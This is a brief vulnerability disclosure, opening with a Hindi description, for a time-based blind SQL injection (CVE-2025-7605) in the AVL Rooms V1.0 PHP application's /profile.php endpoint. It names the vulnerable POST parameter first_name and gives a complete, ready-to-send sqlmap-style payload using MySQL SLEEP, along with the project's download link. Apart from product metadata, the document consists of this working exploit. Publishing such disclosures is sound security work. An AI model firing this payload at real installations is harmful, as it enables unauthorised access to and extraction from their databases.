
AVL Rooms V1.0 में SQL इंजेक्शन भेद्यता (CVE-2025-7605) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट। इसमें /profile.php एंडपॉइंट को लक्ष्य करने वाला टाइम-बेस्ड ब्लाइंड पेलोड शामिल है।
code-projects AVL Rooms Project V1.0/profile.php SQL injection
AVL Rooms
https://code-projects.org/avl-rooms-in-php-css-javascript-and-mysql-free-download/
dazhi
/profile.php
V1.0
https://code-projects.org/avl-rooms-in-php-css-javascript-and-mysql-free-download/
Parameter: first_name (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: first_name=1111' AND (SELECT 9037 FROM (SELECT(SLEEP(5)))RgOn) AND 'Tnsa'='Tnsa&last_name=1111&[email protected]&mobile_number=1111111111&city=11&state=11&action=